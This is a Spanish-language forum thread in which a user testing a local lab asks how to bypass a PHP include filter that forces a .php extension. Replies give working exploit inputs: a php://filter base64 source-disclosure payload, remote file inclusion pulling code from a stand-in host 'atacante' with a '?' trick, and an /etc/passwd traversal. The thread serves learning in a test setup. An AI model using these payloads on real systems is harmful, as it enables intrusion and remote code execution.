Bypass extensión en filtro include (en la actualidad)

Iniciado por exploiterstack, 26 Enero 2015, 12:33 PM

0 Miembros y 2 Visitantes están viendo este tema.

exploiterstack

Hola a toda la comunidad ;)

Bueno estoy probando en un entorno local(XAMP) como evadir un filtro que he puesto en una pagina web, la cual especifico que TIPO de archivos puedo incluir por medio de la url. Como digo es un entorno que he creado para ver la seguridad y como reforzar este tema de los LFI etc...

if(isset($_GET['pagina'])){
    include($_GET['pagina'].".php");
}

En principio quiero saber como puedo incluir un archivo txt (el cual esta en el mismo directorio)el cual en su interior he puesto un texto que quiero que se visualice.  Con lo que pruebo de la siguiente manera:

http://localhost/r/r.php?pagina=archivo.txt%00

De ese modo se supone que al poner el null byte a continuación del nombre del archivo junto a su extensión debería abrirme el archivo y mostrarme  el correspondiente mensaje.

Pero hay viene el problema que no lo consigo con lo que me arroja el siguiente error:

Warning: include(): Failed opening 'pag.txt' for inclusion (include_path='.;C:\Users\public\Desktop\Entorno local\php\PEAR') in C:\Users\public\Desktop\Entorno local\htdocs\r\r.php on line 10


Espero vuestra respuesta, un saludo!

Shell Root

Null byte injection has been fixed in PHP 5.3.4 (which it's self is already an old and unsupported PHP version): https://bugs.php.net/bug.php?id=39863.

:http://security.stackexchange.com/questions/48187/null-byte-injection-on-php
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

exploiterstack

Gracias por contestar Shell Root,

Entonces a partir de esa versión ya no se puede hacer uso de %00 ya que se ha parcheado. Entonces que técnicas actuales existen para poder un bypass a dicho filtro?

Un saludo!

T. Collins

Puedes buscar, alternative to null byte en google mismo y sale bastante información. Otra opción es que esté allow_url_include activado, o con php://filter podrías ver los archivos php en base64 por ejemplo y así buscar otra vulnerabilidad.

exploiterstack

#4
Antes de nada gracias por contestar T. Collins,

He buscado en google alternativas a null byte y no es que me salga mucho y lo que me arroja no esta muy detallado que digamos.

Por otra parte, me estas diciendo que con a opción allow_url_include activada si que puedo hacer uso de la secuencia %00 aun estando en una versión superior a la de PHP 5.3.4?....Por otra parte a que te refieres con php://filter

Por favor se mas explicito, un saludo!  ;)

T. Collins

#5
Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt
Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.

exploiterstack

#6
Hola T. Collins,

Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt

En que caso puedo utilizar el famoso null byte? o esta fixeado desde la versión PHP 5.3.4 como dice Shell Root, esta ya obsoleto o no? Respecto a lo de ver el fichero.txt no se si te refieres a poner --> http://localhost/r/text.txt  pero eso no es ejecutarlo directamente sin pasar por el include?

Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt


El ejemplo que me das no lo consigo realizar ya que no entiendo como saltarse la extensión que fuerzo en el include --> include($_GET['pagina'].".php");
Lo intento de la siguiente manera sin éxito:

http://localhost/r/r.php?pagina=text.txt?

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.


Este ejemplo que me pones no lo conocía y me ha venido bien saber de esto:

http://localhost/r/r.php?pagina=php://filter/convert.base64-encode/resource=r

Con lo que me da una ristra de caracteres:

PD9waHANCg0KICAgIC8qDQogICAgLy9BYnJpbW9zIGVsIGZpY2hlcm8geSBlc2NyaWJpbW9zIGVuIGVsIFhTUw0KICAgICRmcCA9IGZvcGVuKCJmaWNoZXJvLnR4dCIsICJ3Iik7DQogICAgZnB1dHMoJGZwLCAiPHNjcmlwdD5hbGVydCgnVnVsbmVyYWJsZSBhIFhTUycpOzwvc2NyaXB0PiIpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgICovDQogIA0KICAgIGlmKGlzc2V0KCRfR0VUWydwYWdpbmEnXSkpew0KICAgICAgICBpbmNsdWRlKCRfR0VUWydwYWdpbmEnXS4iLnBocCIpOw0KDQogICAgICAgIGVjaG8gIjxicj48YnI

Y al decodificarlos en Base64 me proporciona la el código fuente de la página. Esto me permite realizarlo con cualquier fichero .php(sin añadir la extensión) del proyecto.

Eso es lo te referías?

Espero su respuesta, un saludo! ;)

T. Collins

El null byte no se puede utilizar.

Con allow_url_include puedes incluir código php desde una url, por ejemplo:
Código (php) [Seleccionar]
include "http://atacante/code.txt";

Por lo tanto, no se trata de incluir http://localhost/r/r.php?pagina=text.txt?, sino http://atacante/code.txt y así ejecutar el código del atacante, que podría ser:
Código (php) [Seleccionar]
echo file_get_contents("archivo.txt");

Para evitar el .php del final basta con poner un ?: http://atacante/code.txt?

Finalmente quedaría así: http://localhost/r/r.php?pagina=http://atacante/code.txt?

Código (php) [Seleccionar]
include "http://atacante/code.txt?.php";

exploiterstack

Hola otra vez :P
Vale ya entiendo...como si fuera un RFI normal de toda la vida, pensaba que se podría incluir archivos locales como por ejemplo con el ataque LFI típico ../../../etc/passwd pero con un archivo que tenia en el mismo directorio(en este caso un archivo txt).

Saludos!